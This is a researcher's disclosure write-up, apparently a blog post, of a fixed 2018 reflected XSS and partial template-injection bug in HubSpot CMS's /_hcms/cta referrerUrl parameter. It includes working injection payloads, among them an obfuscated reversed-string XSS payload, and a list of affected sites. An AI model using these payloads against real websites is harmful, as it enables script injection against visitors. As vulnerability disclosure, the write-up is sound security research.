Title: Reflected XSS + Server-Side Template Injection in HubSpot CMS Affecting Thousands of Websites
Author: Mohamed Haroun
Discovery Date: January 2018
Impact: More than 10,000 websites affected
----------------------------------------------------------------------------------------------
Back in early 2018, while performing a routine security assessment, I discovered one of my favorite bugs ever. The vulnerability affected HubSpot CMS, a popular platform used by thousands of companies to host landing pages, marketing content, and call-to-action (CTA) widgets.
During my testing, I noticed the path:
/_hcms/
This indicated that the page was being rendered by HubSpot’s backend services. After digging deeper, I focused on a specific endpoint:
/_hcms/cta
This endpoint included a parameter named:
referrerUrl
The parameter was not properly sanitized, which opened the door for two serious vulnerabilities:
1. Server-Side Template Injection (SSTI) - Partly
2. Reflected Cross-Site Scripting (XSS)
---
Server-Side Template Injection (SSTI)
Server-Side Template Injection happens when user-controlled input is placed inside a server-side template without proper sanitization. If interpreted as executable code, an attacker may run their own logic on the server.
To test this, I simply passed:
?referrerUrl={{7*7}}
The server responded with:
49
This confirmed that the input was being evaluated. I tried pushing the limits using template loops like:
%for c in [1,2,3]%{{c,c,c}}% endfor %
However, the server blocked some payloads and returned errors such as:
Malformed escape pair at index...
Illegal character in query at index...
Even though full template execution was restricted, the evaluation behavior confirmed the presence of template parsing — a strong indicator of SSTI.
---
Reflected XSS via Template Injection
With help from Frans Rosén, I was able to break out of the template and achieve XSS.
Working payload:
{%25+macro+field(x)+%25}[http://www.com](http://www.com) {{x}} ok{%25+endmacro+%25}{{ field(1)|urlize }}
Example:
https://www.example.com/_hcms/cta?referrerUrl={%25+macro+field%28x%29+%25}http://www.com) {{x}}+ok{%25+endmacro+%25}{{+field(1)%7curlize+}}
This proved that:
* The template executed macros
* User input controlled the output
From there, generating JavaScript execution was possible.
---
Final XSS Payload
{%25+macro+field()+%25}moc.okok//:ptth//)niamod.tnemucod(trela:tpircsavaj=daolno+gvshttp://http:""//{%25+endmacro+%25}{{+field(1)%7curlize%7creverse%7curlize%7creverse%7curlize%7creverse+}}
This payload achieved full reflected XSS on HubSpot-powered websites.
---
Affected Websites
Some confirmed affected websites:
www.hubspot.com
blog.bugcrowd.com
cashflows.com
pages.bugcrowd.com
www.itbit.com
However, based on HubSpot’s customer base, the total exposure exceeded 10,000+ websites.
---
Timeline
22 January 2018 — Report submitted
22 January 2018 — HubSpot Security set priority to P2
23 January 2018 — Issue resolved
Reward: 20 points
HubSpot’s security team responded quickly and professionally.
---
Why This Bug Was Special
This bug was one of my favorites for many reasons:
* It started with a small overlooked parameter in a CMS path
* It escalated from SSTI partly to full XSS
* It impacted massive infrastructure at scale
* It reinforced the importance of sanitizing template inputs